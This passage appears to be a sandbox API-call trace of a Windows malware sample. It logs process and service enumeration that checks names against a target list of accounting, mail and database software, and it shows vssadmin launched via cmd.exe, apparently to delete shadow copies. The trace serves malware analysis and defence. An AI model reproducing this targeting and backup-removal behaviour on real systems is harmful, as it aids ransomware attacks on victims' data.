lpString2="wuauserv") returned -1 [0225.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0225.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0225.610] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.611] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.612] lstrlenW (lpString="System") returned 6 [0225.612] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0225.612] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0225.612] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0225.612] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0225.612] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.613] lstrlenW (lpString="smss.exe") returned 8 [0225.613] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.614] lstrlenW (lpString="csrss.exe") returned 9 [0225.614] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.615] lstrlenW (lpString="wininit.exe") returned 11 [0225.615] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.615] lstrlenW (lpString="csrss.exe") returned 9 [0225.615] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.616] lstrlenW (lpString="winlogon.exe") returned 12 [0225.616] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.617] lstrlenW (lpString="services.exe") returned 12 [0225.617] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.618] lstrlenW (lpString="lsass.exe") returned 9 [0225.618] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0225.619] lstrlenW (lpString="lsm.exe") returned 7 [0225.619] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.619] lstrlenW (lpString="svchost.exe") returned 11 [0225.619] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.620] lstrlenW (lpString="svchost.exe") returned 11 [0225.620] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.621] lstrlenW (lpString="svchost.exe") returned 11 [0225.621] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.622] lstrlenW (lpString="svchost.exe") returned 11 [0225.622] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.623] lstrlenW (lpString="svchost.exe") returned 11 [0225.623] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.624] lstrlenW (lpString="audiodg.exe") returned 11 [0225.624] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.625] lstrlenW (lpString="svchost.exe") returned 11 [0225.625] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.626] lstrlenW (lpString="svchost.exe") returned 11 [0225.626] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.626] lstrlenW (lpString="dwm.exe") returned 7 [0225.627] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.627] lstrlenW (lpString="explorer.exe") returned 12 [0225.627] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.694] lstrlenW (lpString="spoolsv.exe") returned 11 [0225.694] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0225.695] lstrlenW (lpString="taskhost.exe") returned 12 [0225.695] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.696] lstrlenW (lpString="svchost.exe") returned 11 [0225.696] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0225.697] lstrlenW (lpString="taskeng.exe") returned 11 [0225.697] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0225.698] lstrlenW (lpString="taskhost.exe") returned 12 [0225.699] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0225.699] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0225.699] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0225.700] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0225.700] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0225.701] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0225.701] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0225.702] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0225.702] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0225.702] lstrlenW (lpString="always_winds.exe") returned 16 [0225.702] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0225.703] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0225.703] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0225.704] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0225.704] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0225.705] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0225.705] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0225.706] lstrlenW (lpString="alienwed.exe") returned 12 [0225.706] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0225.707] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0225.707] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0225.708] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0225.708] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0225.709] lstrlenW (lpString="mp beginners.exe") returned 16 [0225.709] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0225.710] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0225.710] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0225.711] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0225.711] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0225.712] lstrlenW (lpString="harassment.exe") returned 14 [0225.712] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0225.713] lstrlenW (lpString="francis-communication.exe") returned 25 [0225.713] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0225.713] lstrlenW (lpString="gccinformational.exe") returned 20 [0225.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0225.714] lstrlenW (lpString="diploma.exe") returned 11 [0225.714] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0225.715] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0225.715] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.716] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0225.716] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.717] lstrlenW (lpString="svchost.exe") returned 11 [0225.717] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0225.718] lstrlenW (lpString="sppsvc.exe") returned 10 [0225.718] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.719] lstrlenW (lpString="svchost.exe") returned 11 [0225.719] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0225.720] lstrlenW (lpString="qnuriy.exe") returned 10 [0225.720] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0225.721] lstrlenW (lpString="cmd.exe") returned 7 [0225.721] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0225.722] lstrlenW (lpString="conhost.exe") returned 11 [0225.722] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0225.723] lstrlenW (lpString="vssadmin.exe") returned 12 [0225.723] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.724] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0225.724] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0225.725] lstrlenW (lpString="VSSVC.exe") returned 9 [0225.725] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.726] lstrlenW (lpString="svchost.exe") returned 11 [0225.726] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0225.727] lstrlenW (lpString="LogonUI.exe") returned 11 [0225.727] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0225.728] CloseHandle (hObject=0x1b0) returned 1 [0225.728] Sleep (dwMilliseconds=0x1f4) [0226.267] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5701a0 [0226.267] EnumServicesStatusExW (in: hSCManager=0x5701a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0226.268] GetLastError () returned 0xea [0226.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0226.268] EnumServicesStatusExW (in: hSCManager=0x5701a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0226.268] CloseServiceHandle (hSCObject=0x5701a0) returned 1 [0226.268] lstrlenW (lpString="Appinfo") returned 7 [0226.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0226.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0226.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0226.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0226.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0226.269] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0226.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.269] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0226.269] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0226.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0226.269] lstrlenW (lpString="AudioSrv") returned 8 [0226.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0226.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0226.269] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0226.269] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0226.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0226.269] lstrlenW (lpString="BFE") returned 3 [0226.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0226.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0226.269] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0226.269] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0226.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0226.269] lstrlenW (lpString="CryptSvc") returned 8 [0226.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0226.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0226.269] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0226.269] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0226.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0226.269] lstrlenW (lpString="CscService") returned 10 [0226.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0226.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0226.270] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0226.270] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0226.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0226.270] lstrlenW (lpString="DcomLaunch") returned 10 [0226.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0226.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0226.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0226.270] lstrlenW (lpString="Dhcp") returned 4 [0226.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0226.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0226.270] lstrcmpiW (lpString1="sqlwriter", 